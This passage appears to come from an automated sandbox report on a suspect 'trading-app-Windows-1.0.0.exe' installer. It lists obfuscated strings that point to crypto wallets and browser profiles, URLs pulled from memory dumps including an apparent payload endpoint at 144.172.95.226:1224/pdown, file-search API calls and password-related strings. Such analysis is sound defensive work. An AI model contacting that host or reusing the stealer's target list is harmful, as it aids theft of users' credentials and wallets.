"http://144','kpcnlpebkl','pdqde','ysgel','era\x20softwa','wjwdx','sgdaj','\x5cp.zi','flned','qobcl','rename','ctntg','zvvxq','zdonr','wufef','afbcbjpbpf','xodus/exod','lzeot','pxnxl','ttqgt','kooxn','ngcnapndod','gtkjp','vofzb','cgnvz','jfjmt','pikoobohma','adlkmhmclh','snyot','868jzpick','xqrlj','fhbohimael','nyylt','/library/a','txt','sknny','trace','dus/exodus','xbhcp','ppgwx','/.config/s','zwjte','request','user\x20data','oadlu','fiexn','slqff','jioqv','browser','lggbd','/library/k','kmojf','xmuuh','url','rmsync','xnjbq','ecykq','syqsb','dwhll','opera','vsbws','on.exe\x22\x20\x22','round','jblndlipeo','vfeuf','ltrfv','wmtup','bind','klgdk','ntgoa','_uld','madui','prototype','zygph','dewpa','\x20support/','length','exception','formdata','6:1224','sxmof','sewhp','dsmbo','gpnkllbocc','local/brav','com.operas','ivawy','jgjfhomihk','hlkkp','zivwl','flnfe','get','upzbo','kwlbk','pekplomjjk','table','wbqnj','meevw','16089tsaszf','iijedngplf','ocal/micro','profile\x20','oaming/exo','rohzd','igwsg','werar','rfmzh','ciudd','byzxg','\x20support/b','ralry','/.npl','" - Source: "00000000-00006124.00000002.112590.01080000.00000004.mdmp") Found URL "https://github.com/chromiumwebapps/chromium/blob/b3d3b4da8bb94c1b2e061600df106d590fda3620/net/cookies/parsed_cookie.cc" - Source: "00000000-00006124.00000002.112590.01080000.00000004.mdmp") Found URL "https://ipinfo.io10249" - Source: "00000000-00006124.00000002.112590.01080000.00000004.mdmp") Found URL "https://lupomontero.com/)" - Source: "00000000-00006124.00000002.112590.01080000.00000004.mdmp") Found URL "https://github.com/sponsors/lupomontero" - Source: "00000000-00006124.00000002.112590.01080000.00000004.mdmp") Found URL "https://github.com/stash" - Source: "00000000-00006124.00000002.112590.01080000.00000004.mdmp") Found URL "https://github.com/salesforce/tough-cookie" - Source: "00000000-00006124.00000002.112590.01080000.00000004.mdmp") Found URL "http://www.justmoon.net)" - Source: "00000000-00006124.00000002.112590.01080000.00000004.mdmp") Found URL "https://github.com/justmoon/node-extend.git" - Source: "00000000-00006124.00000002.112590.01080000.00000004.mdmp") Found URL "https://github.com/request/request.git" - Source: "00000000-00006124.00000002.112590.01080000.00000004.mdmp") Found URL "http://docs.amazonwebservices.com/general/latest/gr/signature-version-4.htmlfunction" - Source: "00000000-00006124.00000002.112590.01180000.00000004.mdmp") Found URL "https://github.com/aws/aws-sdk-java-v2/blob/dc695de6ab49ad03934e1b02e7263abbd2354be0/core/auth/src/main/java/software/amazon/awssdk/auth/signer/internal/abstractaws4signer.java" - Source: "00000000-00006124.00000002.112590.01180000.00000004.mdmp") Found URL "https://github.com/aws/aws-sdk-js/blob/18cb7e5b463b46239f9fdd4a65e2ff8c81831e8f/lib/signers/v4.js" - Source: "00000000-00006124.00000002.112590.01180000.00000004.mdmp") Found URL "https://github.com/mhart/aws4fetch/blob/b3aed16b6f17384cf36ea33bcba3c1e9f3bdfefd/src/main.js" - Source: "00000000-00006124.00000002.112590.01180000.00000004.mdmp") Found URL "http://docs.aws.amazon.com/general/latest/gr/rande.htmlrequestsigner.prototype.issingleregion" - Source: "00000000-00006124.00000002.112590.01180000.00000004.mdmp") Found URL "https://ipinfo.io/c:\users\hapubws\appdata\local\temp\2wnuxcqaffb8gqhsxovwis2jqj1\resources\app.asar\node_modules\tough-cookie\lib\node_modulesc:\users\hapubws\appdata\local\temp\2wnuxcqaffb8gqhsxovwis2jqj1\resources\app.asar\node_modules\tough-cookie\node_modulesc:\users\hapubws\appdata\local\temp\2wnuxcqaffb8gqhsxovwis2jqj1\resources\app.asar\node_modulesc:\users\hapubws\appdata\local\temp\2wnuxcqaffb8gqhsxovwis2jqj1\resources\node_modulesc:\users\hapubws\appdata\local\temp\2wnuxcqaffb8gqhsxovwis2jqj1\resources\app.asar\node_modules\request\lib\node_modulesc:\users\hapubws\appdata\local\temp\2wnuxcqaffb8gqhsxovwis2jqj1\resources\app.asar\node_modules\request\node_modulesc:\users\hapubws\appdata\local\temp\2wnuxcqaffb8gqhsxovwis2jqj1\resources\app.asar\node_modulesc:\users\hapubws\appdata\local\temp\2wnuxcqaffb8gqhsxovwis2jqj1\resources\node_modulesc:\users\hapubws\appdata\local\temp\2wnuxcqaffb8gqhsxovwis2jqj1\resources\app.asar\node_modules\tough-cookie\lib\node_modulesc:\users\hapubws\appdata\local\temp\2wnuxcqaffb8gqhsxovwis2jqj1\resources\app.asar\node_modules\tough-cookie\node_modulesc:\users\hapubws\appdata\local\temp\2wnuxcqaffb8gqhsxovwis2jqj1\resources\app.asar\node_modulesc:\users\hapubws\appdata\local\temp\2wnuxcqaffb8gqhsxovwis2jqj1\resources\node_modulesc:\users\hapubws\appdata\local\temp\2wnuxcqaffb8gqhsxovwis2jqj1\resources\app.asar\node_modules\psl\dist\node_modulesc:\users\hapubws\appdata\local\temp\2wnuxcqaffb8gqhsxovwis2jqj1\resources\app.asar\node_modules\psl\node_modulesc:\users\hapubws\appdata\local\temp\2wnuxcqaffb8gqhsxovwis2jqj1\resources\app.asar\node_modulesc:\users\hapubws\appdata\local\temp\2wnuxcqaffb8gqhsxovwis2jqj1\resources\node_modulesc:\users\hapubws\appdata\local\temp\2wnuxcqaffb8gqhsxovwis2jqj1\resources\app.asar\node_modules\extend\node_modulesc:\users\hapubws\appdata\local\temp\2wnuxcqaffb8gqhsxovwis2jqj1\resources\app.asar\node_modulesc:\users\hapubws\appdata\local\temp\2wnuxcqaffb8gqhsxovwis2jqj1\resources\node_modulesipinfo.ioipinfo.ioipinfo.ioipinfo.io/jsonuser-agent:" - Source: "00000000-00006124.00000002.112590.01180000.00000004.mdmp") Found URL "https://ipinfo.io/jsoninternal" - Source: "00000000-00006124.00000002.112590.01180000.00000004.mdmp") Found URL "https://ipinfo.io/jsondesktop-fvvf82ahjazthshttps:com.acedu.acgov.acmil.acnet.ac" - Source: "00000000-00006124.00000002.112590.01180000.00000004.mdmp") Found URL "https://github.com/chromiumwebapps/chromium/blob/b3d3b4da8bb94c1b2e061600df106d590fda3620/net/cookies/canonical_cookie.cc" - Source: "00000000-00006124.00000002.112590.01180000.00000004.mdmp") Found URL "http://unix:socket:path" - Source: "00000000-00006124.00000002.112590.01180000.00000004.mdmp") Found URL "http://www.apache.org/licenses/license-2.0" - Source: "00000000-00006124.00000002.112590.01180000.00000004.mdmp") Found URL "https://github.com/felixge/node-form-data/issues/38" - Source: "00000000-00006124.00000002.112590.01280000.00000004.mdmp") Found URL "https://github.com/joyent/node/issues/7819" - Source: "00000000-00006124.00000002.112590.01280000.00000004.mdmp") Found URL "http://github.com/mikeal/request" - Source: "00000000-00006124.00000002.112590.01280000.00000004.mdmp") Found URL "https://github.com/form-data/form-data/issues/40" - Source: "00000000-00006124.00000002.112590.01280000.00000004.mdmp") Found URL "https://github.com/form-data/form-data/issues/196//" - Source: "00000000-00006124.00000002.112590.01280000.00000004.mdmp") Found URL "https://github.com/form-data/form-data/issues/262formdata.prototype.hasknownlength" - Source: "00000000-00006124.00000002.112590.01280000.00000004.mdmp") Found URL "http://json-schema.org/draft-07/schemameta_ignore_optionsremoveadditionalusedefaultscoercetypesstrictdefaultsmeta_support_data/propertiessetloggerchoosegetidgetmetaschemaoptionsaddinitialformatsaddinitialkeywordsadddefaultmetaschemaaddinitialschemascheckunique$schemadefaultmeta_getschemaobj_getschemafragment_removeallschemasc:\users\hjazths/appdata/local/google/chrome/user" - Source: "00000000-00006124.00000002.112590.01280000.00000004.mdmp") Found URL "https://github.com/ajv-validator/ajv/blob/master/lib/definition_schema.jssimpletypesstatementsmodifyingusers\hjazths/appdata/local/google/chrome/user" - Source: "00000000-00006124.00000002.112590.01280000.00000004.mdmp") Found URL "https://tartarus.org/" - Source: "00000000-00006124.00000002.112590.01280000.00000004.mdmp") Found URL "https://github.com/joyent/oid-docs/blob/master/root.md" - Source: "00000000-00006124.00000002.112590.01280000.00000004.mdmp") Found URL "http://www.json.com/json-schema-proposal/)" - Source: "00000000-00006124.00000002.112590.01280000.00000004.mdmp") Found URL "https://www.isecpartners.com/blog/2011/february/double-hmac-" - Source: "00000000-00006124.00000002.112590.01280000.00000004.mdmp") Found URL "http://144.172.95.226:1224/pdown" - Source: "00000000-00006124.00000002.112590.01460000.00000004.mdmp") Found URL "http://www.msftc:\s0:\a" - Source: "00000000-00006124.00000002.112590.6A110000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00006124.00000002.112590.6A110000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00006124.00000002.112590.6A110000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00006124.00000002.112590.6A110000.00000004.mdmp") Found URL "http://g1.symcb.com/crls/gtglobal.crl0/" - Source: "00000000-00006124.00000002.112590.6A110000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-53902ol!o!yj>9iqmgvw,czclv]kmwzhrt[i,y+vywc:?r<0" - Source: "00000000-00006124.00000002.112590.6A110000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-53902ol!o!yj>9iqmgvw,czc5u" - Source: "00000000-00006124.00000002.112590.6A110000.00000004.mdmp") Found URL "http://144.172.95.226:1224/pdown" - Source: "00000000-00006124.00000002.112590.B2E80000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00006124.00000002.112590.B2E80000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl049z00005internet1verisign," - Source: "00000000-00006124.00000002.112590.B2E80000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00006124.00000002.112590.B2E80000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00006124.00000002.112590.B2E80000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00006124.00000002.112590.B2E80000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00006124.00000002.112590.B2E80000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00006124.00000002.112590.B2E80000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00006124.00000002.112590.B2E80000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00006124.00000002.112590.B2E80000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00006124.00000002.112590.B2E80000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czcthawte," - Source: "00000000-00006124.00000002.112590.B2E80000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00006124.00000002.112590.B2E80000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00006124.00000002.112590.B2E80000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00006124.00000002.112590.B2E80000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00006124.00000002.112590.B2E80000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00006124.00000002.112590.B2E80000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00006124.00000002.112590.B2E80000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;addtrust" - Source: "00000000-00006124.00000002.112590.B2E80000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00006124.00000002.112590.B2E80000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauth" - Source: "00000000-00006124.00000002.112590.B2E80000.00000004.mdmp") Found URL "http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00006124.00000002.112590.B2E80000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+voglobalsign" - Source: "00000000-00006124.00000002.112590.B2E80000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00006124.00000002.112590.B2E80000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00006124.00000002.112590.B2E80000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symandecd@" - Source: "00000000-00006124.00000002.112590.B2E80000.00000004.mdmp") Found URL "http://s1.symcb.d>cp-g5.crl0" - Source: "00000000-00006124.00000002.112590.B2E80000.00000004.mdmp")50:Tb5e,"trading-app-Windows-1.0.0.exe" called "FindFirstFileW" with parameter %TEMP%\nse95AF.tmp (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "FindFirstFileW" with parameter %TEMP%\2wnUXCqaFfb8gqhsxoVwiS2JQj1 (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "FindFirstFileW" with parameter %LOCALAPPDATA%\Temp (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "FindFirstFileW" with parameter %USERPROFILE%\AppData\Local (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "FindFirstFileW" with parameter %USERPROFILE%\AppData (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "FindFirstFileW" with parameter C:\Users\%OSUSER% (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "FindFirstFileW" with parameter C:\Users (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "FindFirstFileW" with parameter %TEMP%\2wnUXCqaFfb8gqhsxoVwiS2JQj1\*.* (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "FindFirstFileW" with parameter %TEMP%\nse95AF.tmp\app-64.7z (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "FindFirstFileW" with parameter %TEMP%\nse95AF.tmp\7z-out\chrome_100_percent.pak (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "FindFirstFileW" with parameter %TEMP%\nse95AF.tmp\7z-out\chrome_200_percent.pak (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "FindFirstFileW" with parameter %TEMP%\nse95AF.tmp\7z-out\icudtl.dat (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "FindFirstFileW" with parameter %TEMP%\nse95AF.tmp\7z-out\LICENSE.electron.txt (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "FindFirstFileW" with parameter %TEMP%\nse95AF.tmp\7z-out\LICENSES.chromium.html (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "FindFirstFileW" with parameter %TEMP%\nse95AF.tmp\7z-out\locales\af.pak (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "FindFirstFileW" with parameter %TEMP%\nse95AF.tmp\7z-out\locales\am.pak (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "FindFirstFileW" with parameter %TEMP%\nse95AF.tmp\7z-out\locales\ar.pak (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "FindFirstFileW" with parameter %TEMP%\nse95AF.tmp\7z-out\locales\bg.pak (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "FindFirstFileW" with parameter %TEMP%\nse95AF.tmp\7z-out\locales\bn.pak (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "FindFirstFileW" with parameter %TEMP%\nse95AF.tmp\7z-out\locales\ca.pak (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "FindFirstFileW" with parameter %TEMP%\nse95AF.tmp\7z-out\locales\cs.pak (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "FindFirstFileW" with parameter %TEMP%\nse95AF.tmp\7z-out\locales\da.pak (UID: 00000000-00004416)51:T6a1,Found string "AEs/~" (Indicator: "aes"; File: "trading-app-Windows-1.0.0.exe") file/memory contains long string with (Indicator: "aes"; File: "nsis7z.dll") file/memory contains long string with (Indicator: "aes256"; File: "nsis7z.dll") Found string "{"net":{"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}" (Indicator: "aes"; File: "06c22772-9d60-496b-91b1-de9664bf0a0e.tmp") Found string "(CAESABiAgICA+P////8B" (Indicator: "aes"; Source: "00000000-00004288.00000000.110171.0000C000.00000004.mdmp, 00000000-00004288.00000001.112089.0000C000.00000004.mdmp, 00000000-00004288.00000002.114010.0000C000.00000004.mdmp") Found string "&internal/crypto/aes" (Indicator: "aes"; Source: "00000000-00004288.00000000.110171.00254000.00000004.mdmp") file/memory contains long string with (Indicator: "base64"; Source: "00000000-00004288.00000000.110171.6D440000.00000002.mdmp") file/memory contains long string with (Indicator: "ecdsa"; Source: "00000000-00004288.00000000.110171.6D440000.00000002.mdmp") file/memory contains long string with (Indicator: ".encrypt"; Source: "00000000-00004288.00000000.110171.6D440000.00000002.mdmp") Found string "System.Security.EncryptionOwnersDisplay" (Indicator: ".encrypt"; Source: "00000000-00004416.00000000.107553.05200000.00000002.mdmp") Found string "System.Security.EncryptionOwners" (Indicator: ".encrypt"; Source: "00000000-00004416.00000000.107553.05200000.00000002.mdmp") Found string "System.OfflineFiles.Encrypted" (Indicator: ".encrypt"; Source: "00000000-00004416.00000000.107553.05200000.00000002.mdmp") Found string "System.ZipFolder.Encrypted" (Indicator: ".encrypt"; Source: "00000000-00004416.00000000.107553.05200000.00000002.mdmp")52:T4b5,Found reference to API "FindNextFileW" (Indicator: "FindNextFile"; File: "trading-app-Windows-1.0.0.exe") Found reference to API "FindFirstFileW" (Indicator: "FindFirstFile"; File: "trading-app-Windows-1.0.0.exe") Found reference to API "FindFirstFileExW" (Indicator: "FindFirstFile"; File: "trading-app-Windows-1.0.0.exe") Found reference to API "FindFirstFileW" (Indicator: "FindFirstFile"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp") Found reference to API "FindNextFileW" (Indicator: "FindNextFile"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp") Found reference to API "FindFirstFileExW" (Indicator: "FindFirstFile"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp") Found reference to API "9686379288,7764,3117,,FindFirstFileW,kernel32.dll,"0" (Indicator: "FindFirstFile"; Source: "00000000-00004416.00000000.107553.059B0000.00000004.mdmp")53:Taf7,Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "trading-app-Windows-1.0.0.exe") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "trading-app-Windows-1.0.0.exe") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; File: "trading-app-Windows-1.0.0.exe") file/memory contains long string with (Indicator: "GetModuleHandle"; File: "System.dll") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; File: "trading-app-Windows-1.0.0.exe") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; File: "trading-app-Windows-1.0.0.exe") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "trading-app-Windows-1.0.0.exe") Found reference to API "GetModuleHandleExA" (Indicator: "GetModuleHandle"; File: "trading-app-Windows-1.0.0.exe") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp, 00000000-00004416.00000001.109475.0041E000.00000004.mdmp, 00000000-00004416.00000001.109475.72914000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp, 00000000-00004416.00000001.109475.0041E000.00000004.mdmp, 00000000-00004416.00000001.109475.72914000.00000002.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp") Found reference to API "kernel32::GetCurrentProcess()p.s" (Indicator: "GetCurrentProcess"; Source: "00000000-00004416.00000000.107553.031D0000.00000004.mdmp, 00000000-00004416.00000001.109475.031D0000.00000004.mdmp, 00000000-00004416.00000002.111392.031D0000.00000004.mdmp")54:T562,Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "trading-app-Windows-1.0.0.exe") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; File: "trading-app-Windows-1.0.0.exe") file/memory contains long string with (Indicator: "GetModuleHandle"; File: "System.dll") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; File: "trading-app-Windows-1.0.0.exe") Found reference to API "GetModuleHandleExA" (Indicator: "GetModuleHandle"; File: "trading-app-Windows-1.0.0.exe") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp, 00000000-00004416.00000001.109475.0041E000.00000004.mdmp, 00000000-00004416.00000001.109475.72914000.00000002.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp")55:Tc52,Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; File: "trading-app-Windows-1.0.0.exe") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; File: "trading-app-Windows-1.0.0.exe") Found reference to API "GetTempFileNameW" (Indicator: "GetTempFileName"; File: "trading-app-Windows-1.0.0.exe") Found reference to API "GetFileSize" (Indicator: "GetFileSize"; File: "trading-app-Windows-1.0.0.exe") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; File: "trading-app-Windows-1.0.0.exe") Found reference to API "SHGetSpecialFolderLocation" (Indicator: "SHGetSpecialFolderLocation"; File: "trading-app-Windows-1.0.0.exe") Found reference to API "GetFileVersionInfoW" (Indicator: "GetFileVersionInfo"; File: "trading-app-Windows-1.0.0.exe") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfo"; File: "trading-app-Windows-1.0.0.exe") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfoSize"; File: "trading-app-Windows-1.0.0.exe") Found reference to API "GetCurrentDirectoryW" (Indicator: "GetCurrentDirectory"; File: "trading-app-Windows-1.0.0.exe") Found reference to API "GetFileInformationByHandle" (Indicator: "GetFileInformationByHandle"; File: "trading-app-Windows-1.0.0.exe") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; File: "trading-app-Windows-1.0.0.exe") Found reference to API "GetFileAttributesExW" (Indicator: "GetFileAttributes"; File: "trading-app-Windows-1.0.0.exe") Found reference to API "GetFileSize" (Indicator: "GetFileSize"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp") Found reference to API "GetFileInformationByHandle" (Indicator: "GetFileInformationByHandle"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp") Found reference to API "GetCurrentDirectoryW" (Indicator: "GetCurrentDirectory"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp, 00000000-00004416.00000001.109475.0041E000.00000004.mdmp, 00000000-00004416.00000001.109475.72914000.00000002.mdmp") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.0041E000.00000004.mdmp, 00000000-00004416.00000001.109475.72914000.00000002.mdmp")56:T1051,Found string "Chromium is unable to recover your settings.Chromium will save this password in your Google Account. You won" (Indicator: "password"; Source: "00000000-00004288.00000000.110171.6D440000.00000002.mdmp") file/memory contains long string with (Indicator: "password"; Source: "00000000-00004288.00000000.110171.6D440000.00000002.mdmp") Found string "re adding a managed profile to this browser. Your administrator has control over the profile and can access its data. Bookmarks, history, passwords, and other settings can be synced to your account and managed by your administrator.You" (Indicator: "password"; Source: "00000000-00004288.00000000.110171.6D440000.00000002.mdmp") Found string "=0 {No compromised passwords found}" (Indicator: "password"; Source: "00000000-00004288.00000000.110171.6D440000.00000002.mdmp") Found string "=1 {{COUNT} compromised password}" (Indicator: "password"; Source: "00000000-00004288.00000000.110171.6D440000.00000002.mdmp") Found string "other {{COUNT} compromised passwords}}{NUM_COMPROMISED, plural," (Indicator: "password"; Source: "00000000-00004288.00000000.110171.6D440000.00000002.mdmp") Found string "=0 {No compromised passwords}" (Indicator: "password"; Source: "00000000-00004288.00000000.110171.6D440000.00000002.mdmp") Found string "=1 {1 compromised password}" (Indicator: "password"; Source: "00000000-00004288.00000000.110171.6D440000.00000002.mdmp") Found string "other {{NUM_COMPROMISED} compromised passwords}}{NUM_WEAK, plural," (Indicator: "password"; Source: "00000000-00004288.00000000.110171.6D440000.00000002.mdmp") Found string "=0 {No weak passwords}" (Indicator: "password"; Source: "00000000-00004288.00000000.110171.6D440000.00000002.mdmp") Found string "=1 {1 weak password}" (Indicator: "password"; Source: "00000000-00004288.00000000.110171.6D440000.00000002.mdmp") Found string "other {{NUM_WEAK} weak passwords}}{NUM_REUSED, plural," (Indicator: "password"; Source: "00000000-00004288.00000000.110171.6D440000.00000002.mdmp") Found string "=0 {No reused passwords}" (Indicator: "password"; Source: "00000000-00004288.00000000.110171.6D440000.00000002.mdmp") Found string "=1 {1 reused password}" (Indicator: "password"; Source: "00000000-00004288.00000000.110171.6D440000.00000002.mdmp") Found string "=1 {Found 1 compromised password}" (Indicator: "password"; Source: "00000000-00004288.00000000.110171.6D440000.00000002.mdmp") Found string "other {Found {NUM_SITES} compromised passwords}}{NUM_SITES, plural," (Indicator: "password"; Source: "00000000-00004288.00000000.110171.6D440000.00000002.mdmp") Found string "re saved to Google Password ManagerShareYour password wasn" (Indicator: "password"; Source: 